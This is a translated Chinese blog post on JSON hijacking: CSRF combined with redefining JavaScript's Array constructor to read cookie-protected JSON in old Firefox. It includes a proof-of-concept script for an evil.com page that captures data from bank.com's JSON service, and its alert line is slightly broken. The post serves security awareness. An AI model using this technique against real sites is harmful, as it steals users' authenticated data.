`
androider
  • 浏览: 751720 次
  • 性别: Icon_minigender_1
  • 来自: 苏州
社区版块
存档分类
最新评论

JSON并没有人们想象中的那样安全

阅读更多
作者:Joe Walker
我最近看到过一些有关把JSON用于保密数据的讨论,而且我也不是很清楚有多少人了解其中的风险。

我个人认为JSON只能用于可公开的数据,其他数据都不能使用JSON,除非你使用的是无法预测的URL。

这里有两个问题。一个是CSRF(Cross Site Request Forgery,跨站点伪造请求攻击),它允许攻击者绕过基于cookie的身份认证,前些天我曾在Blog上介绍过这种攻击。另外,维基百科也说到了这个东西,你可以用CSRF在一个远程服务器上调用由cookie保护着的数据。“恶魔“先生可以利用这项技术把“无辜”女士的银行账号里的钱转到他的账户中。

还有一种则鲜为人知,那就是JSON/数组攻击,这可以让某个用户在Mozilla上偷取JSON数据,其实只要是任何使用当代的JavaScript解释器的平台都会都可以实施该攻击。

更新:不单单可以从Array偷数据,还可以从Object偷。

有很多种从一个服务器获得数据的方法,但这其中比较有趣的是XHR、iframe、脚本标签。如果不了解 JSON/数组 攻击,那很容易产生如下的结论:
XHR:浏览器跨域规则一开始就阻止了攻击者发出请求
iframe:攻击者可以嵌入一个指向一些远程服务器的iframe(在上面的例子中这个远程服务器就是银行的服务器),并用它来发送一些JSON,但是浏览器跨域规则阻止了来自攻击者所在域的脚本,这段脚本是用来读取响应的,因此这个JSON是安全的,因为它从来没有被eval过。
脚本标签:攻击者会嵌入一个指向远程服务器的脚本标签,而浏览器会把你的回复eval一把,然后浏览器会丢弃响应,这个JSON就是全部的相应,所以这是安全的。

这些参数的最后一个值得怀疑,JavaScript的动态特性将允许你重新对JSON赋值。
下面是它的工作原理,你可以用任何JavaScript控制台跟踪这段代码:
1. 重新定义Array构造器
function Array() { alert("hi"); }
2. 验证一下在创建数组时,这个构造器是否被调用
var a = [ 43 ];
3. 使用新功能修改这个数组
function Array() {
this[1] = 50;
}
var a = [40];
alert(a[0] + a[1]); //结果是90

所以我们能用一个script标签来调用保密的JSON数据,使用CSRF绕过cookie身份认证,然后用JSON/数组攻击在浏览器处理那个script标签时偷取JavaScript数据。

因此我们重新定义了Array构造器,实际情况下我们如何获得数据呢?下面的语法在当前版本的FireFox运行正常,虽然在我的知识范围内,这并不是JavaScript2标准的一部分,但是这段代码无法在IE/Safari/Opera下顺利运行。

在evil.com创建一个网页,用下面这段script标签:

<script type='text/javascript'>
function Array() {
var obj = this;
var ind = 0;
var getNext = function(x) {
obj[ind++] setter = getNext;
if (x) alert(Data stolen from array: " + x.toString());
};
this[ind++] setter = getNext;
}
</script>
<script type='text/javascript' src='http://bank.com/jsonservice'> </script>

出于演示目的,我已经重新定义了这个页面中的Array构造器,如果你在Firefox上,你将看到一个alert窗口。(译者注:演示示例请见原文)。

(如果你在blog聚集器中读取这个例子,上面的脚本会被过滤掉,所以它无法正常工作。你需要试一下这个页面。如果这段脚本没有被过滤掉,那我建议你马上更换一个新的聚合器,因为它有严重的安全问题。)

一句话:JSON在任何使用cookie来做身份认证的系统上都不安全。

有了DWR,虽然我们使用的是纯JavaScript它与JSON一样脆弱,但是DWR的CSRF保护能自动使用双重提交cookie模式来提供额外的保护。

我并不是提出这个问题的第一个人,Jeremiah Grossman在一年前用它黑了GMail。
分享到:
评论
1 楼 robinqu 2010-06-02  
如果每次json通讯都跟随一个服务器和客户端唯一匹配的令牌呢?
或者使用https作为传输协议呢?
现在rest风格的开发,真的不能变得更可靠么?

相关推荐

    解决litjson 中JsonData.ToJson()中文转码问题

    从服务端收到的json中有中文 然后JsonData jd = JsonMapper.ToObject(strJson); json中如有中文 会出现\uXXXX\uXXXX等 我改了下 上传了能解决此问题的litjson版本

    json转换jsonschema

    在实际应用中,开发者可以使用这样的工具或库,通过简单的API调用来实现JSON到JSON Schema的转换,从而提高数据处理的可靠性和安全性。例如,如果你正在开发一个Web应用,你可以先将用户提交的JSON数据转换为JSON ...

    MFC使用json11解析JSON

    在MFC应用程序中,你可能会在对话框类(如`MFCApplication1Dlg.cpp`和`MFCApplication1Dlg.h`)中处理用户输入或输出,并利用json11进行JSON数据的处理。例如,你可以创建一个成员函数来解析用户的输入JSON字符串,...

    json3.js 【JS / JavaScript 中解析JSON的js包,JSON官方的JSON解析包】

    json3.js 【JS / JavaScript 中解析JSON的js包,JSON官方的JSON解析包】。JavaScript中解析JSON的js包,页面中引入json3.js,即可使用。 使用方法:JSON.parse(str), JSON.stringify(obj) 更多详情请参考博文: ...

    threejs 中文json

    threejs 中文json包,替换threejs官方的英文json就行了

    java服务端生成json(json服务端)

    Java服务端生成JSON是Web应用开发中的常见任务,主要用于数据交换。JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,易于人阅读和编写,同时也易于机器解析和生成。在Java中,我们可以使用多种库来...

    jsoneditor-1.7.0 jsoneditor.js中文提示版

    6. **JSON验证**:在编辑过程中,JSONEditor会实时检查JSON数据的语法合法性,确保数据符合JSON规范,避免因格式问题导致的问题。 7. **中文提示**:1.7.0版本的中文提示版特别为中文用户提供了友好的操作提示,...

    qt中json读写

    然后,利用QJsonDocument的fromStream()方法从QFile对象中读取JSON数据,并将其转换为QJsonDocument对象。 ```cpp QJsonDocument doc = QJsonDocument::fromJson(file.readAll()); ``` 3. 检查解析是否成功: 通过...

    最好用的c++json库 nlohmann json源代码

    最好用的c++json库 nlohmann json源代码最好用的c++json库 nlohmann json源代码最好用的c++json库 nlohmann json源代码最好用的c++json库 nlohmann json源代码最好用的c++json库 nlohmann json源代码最好用的c++json...

    jQuery中ajax请求后台返回json数据并渲染HTML的方法

    6. 安全性和性能:文章中并没有详细提及,但在处理前端请求时应当考虑到数据的验证和过滤,防止注入攻击等安全问题。同时,在进行大量的数据交互时,应当考虑网络带宽的消耗和页面加载的性能问题。 通过以上方法,...

    支持中文编码的json解析库

    lua自带json解析不支持\ 然而lua并不是只有一个json库 因此可以使用其他的模版

    JSON2解决JSON未定义

    在这些浏览器中,没有内置的JSON.parse()用于解析JSON字符串,也没有JSON.stringify()用于将JavaScript对象转换为JSON字符串。这就导致了一个问题:当需要处理JSON数据时,开发者需要寻找替代方案。 "JSON2"是一个...

    json数据展示插件,jsonview.js

    比如你在浏览器中可以查看从服务器端传回来的json数据,这些数据可能没有经过格式化的,也或者是经过了unicode编码,没有缩进,没有换行等等,造成阅读有一定困难。那么使用jsonview,可以自动对json数据转码,缩进...

    jsp中json的应用

    JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,易于人阅读和编写,同时也易于机器解析和...理解并掌握这些内容,开发者能够有效地在JSP项目中利用JSON进行数据交互,提升应用程序的性能和用户体验。

    java中所需json包

    在Java开发中,JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,它使得人们可以轻松地阅读和编写数据,同时也易于机器解析和生成。JSON格式被广泛应用于Web服务和应用程序之间的数据通信,因为它的...

    shell脚本修改json中某个字段的值

    更安全的方法是使用专门处理JSON的工具,如`jq`,但鉴于标签中未包含`jq`,我们将不在此处展开。 在实际应用中,您可能还需要考虑错误处理、文件备份、以及确保脚本不会破坏JSON的格式。例如,如果JSON文件过大,...

    JSP中如何使用JSON

    在IT行业中,JavaScript Object Notation(JSON)是一种轻量级的数据交换格式,广泛应用于服务器与客户端之间的数据传输,尤其是在Web应用程序中。JavaServer Pages(JSP)是Java平台上的一个动态网页技术,常用于...

    java json api,json api

    `json-lib`提供了异常处理机制,如`JSONException`,帮助你在程序中捕获并处理这些错误。 在实际开发中,使用`json-lib`库可以简化JSON数据的操作,提高开发效率。不过,值得注意的是,尽管`json-lib`历史悠久,但...

    C# 获取json字段中指定值

    在C#编程中,处理JSON数据是常见的任务,特别是在与Web服务交互或处理API响应时。JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,因其易读易写而被广泛采用。在这个场景中,我们将关注如何使用C#和...

    C#接收json数据后中文乱码解决方法

    C#接收Json格式数据,中文出现乱码解决方法

Global site tag (gtag.js) - Google Analytics